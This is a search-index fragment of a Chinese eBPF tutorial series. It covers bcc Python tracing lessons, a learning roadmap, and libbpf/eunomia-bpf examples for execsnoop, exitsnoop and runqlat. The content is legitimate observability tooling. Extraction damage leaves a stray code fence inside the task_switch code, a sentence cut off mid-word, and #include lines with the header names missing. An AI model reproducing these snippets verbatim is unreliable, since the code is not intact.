程序\nb = BPF(text=\"\"\"\n#include  struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // 也可以使用 `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # 头部\nprint(\"跟踪 strlen()... 按 Ctrl-C 结束。\") # 睡眠直到按下 Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # 打印输出\nprint(\"%10s %s\" % (\"数量\", \"字符串\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 要学习的内容：1. PT_REGS_PARM1(ctx): 这个参数会获取传递给 strlen() 的第一个参数，也就是字符串。 b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): 附加到库 \"c\"（如果这是主程序，则使用其路径名），对用户级函数 strlen() 进行插装，并在执行时调用我们的 C 函数 count()。","breadcrumbs":"bcc Python Developer Tutorial » 第14课. strlen_count.py.","id":"386","title":"第14课. strlen_count.py."},"387":{"body":"本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装，这是内核跟踪点的用户级版本。示例输出： # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png 来自 examples/tracing/nodejs_http_server.py 的相关代码： from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include \nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) 学习内容： bpf_usdt_readarg(6, ctx, &addr): 从 USDT 探测点中读取参数 6 的地址到 addr。 bpf_probe_read_user(&path, sizeof(path), (void *)addr): 现在字符串 addr 指向我们的 path 变量。 u = USDT(pid=int(pid)): 为给定的 PID 初始化 USDT 跟踪。1. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): 将我们的 do_trace() BPF C 函数附加到 Node.js 的 http__server__request USDT 探针。 b = BPF(text=bpf_text, usdt_contexts=[u]): 需要将我们的 USDT 对象 u 传递给 BPF 对象的创建。","breadcrumbs":"bcc Python Developer Tutorial » 第15课。nodejs_http_server.py","id":"387","title":"第15课。nodejs_http_server.py"},"388":{"body":"这是一个早期的教程，作为额外的课程包含其中。用它来复习和加深你已经学到的内容。 这是一个比 Hello World 更复杂的示例程序。该程序将在内核中每次任务切换时被调用，并在一个 BPF 映射中记录新旧进程的 pid。 下面的 C 程序引入了一个新的概念：prev 参数。BCC 前端会特殊处理这个参数，从而使得对这个变量的访问从由 kprobe 基础设施传递的保存上下文中进行读取。从位置1开始的参数的原型应该与被 kprobed 的内核函数的原型匹配。如果这样做，程序就可以无缝访问函数参数。 #include \n#include  struct key_t { u32 prev_pid; u32 curr_pid;\n}; BPF_HASH(stats, struct key_t, u64, 1024);\nint count_sched(struct pt_regs *ctx, struct task_struct *prev) { struct key_t key = {}; u64 zero = 0, *val; key.curr_pid = bpf_get_current_pid_tgid(); key.prev_pid = prev->pid; // could also use `stats.increment(key);` val = stats.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n} 用户空间组件加载上面显示的文件，并将其附加到 finish_task_switch 内核函数上。 BPF 对象的 [] 运算符允许访问程序中的每个 BPF_HASH，允许对内核中的值进行通行访问。可以像使用任何其他 python dict 对象一样使用该对象：读取、更新和删除操作都是允许的。 from bcc import BPF\nfrom time import sleep b = BPF(src_file=\"task_switch.c\")\".```markdown\n```Chinese\nb.attach_kprobe(event=\"finish_task_switch\", fn_name=\"count_sched\") # 生成多个调度事件\nfor i in range(0, 100): sleep(0.01) for k, v in b[\"stats\"].items(): print(\"task_switch[%5d->%5d]=%u\" % (k.prev_pid, k.curr_pid, v.value)) 这些程序可以在文件 examples/tracing/task_switch.c 和 examples/tracing/task_switch.py 中找到。","breadcrumbs":"bcc Python Developer Tutorial » 第16课. task_switch.c","id":"388","title":"第16课. task_switch.c"},"389":{"body":"要进行进一步研究，请参阅 Sasha Goldshtein 的 linux-tracing-workshop ，其中包含了额外的实验。bcc/tools 中还有许多工具可供研究。 如果您希望为 bcc 贡献工具，请阅读 CONTRIBUTING-SCRIPTS.md 。在主要的 README.md 的底部，您还会找到与我们联系的方法。祝您好运，祝您成功追踪！","breadcrumbs":"bcc Python Developer Tutorial » 第17课. 进一步研究","id":"389","title":"第17课. 进一步研究"},"39":{"body":"本文主要介绍如何实现一个 eBPF 工具，捕获进程发送信号的系统调用集合，使用 hash map 保存状态。使用 hash map 需要定义一个结构体： struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); 并使用一些对应的 API 进行访问，例如 bpf_map_lookup_elem、bpf_map_update_elem、bpf_map_delete_elem 等。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » 总结","id":"39","title":"总结"},"390":{"body":"TODO","breadcrumbs":"bcc Python Developer Tutorial » 网络","id":"390","title":"网络"},"4":{"body":"Google 或者其他搜索引擎查找：eBPF 询问 ChatGPT 之类的东西：eBPF 是什么？ 推荐： 阅读 ebpf 简介： https://ebpf.io/ （30min） 简要了解一下 ebpf 内核相关文档： https://prototype-kernel.readthedocs.io/en/latest/bpf/ （知道有问题去哪里查询，30min） 阅读 ebpf 中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include \n#include \n#include \n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"exitsnoop.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, start_time = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); start_time = BPF_CORE_READ(task, start_time); e->duration_ns = bpf_ktime_get_ns() - start_time; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, 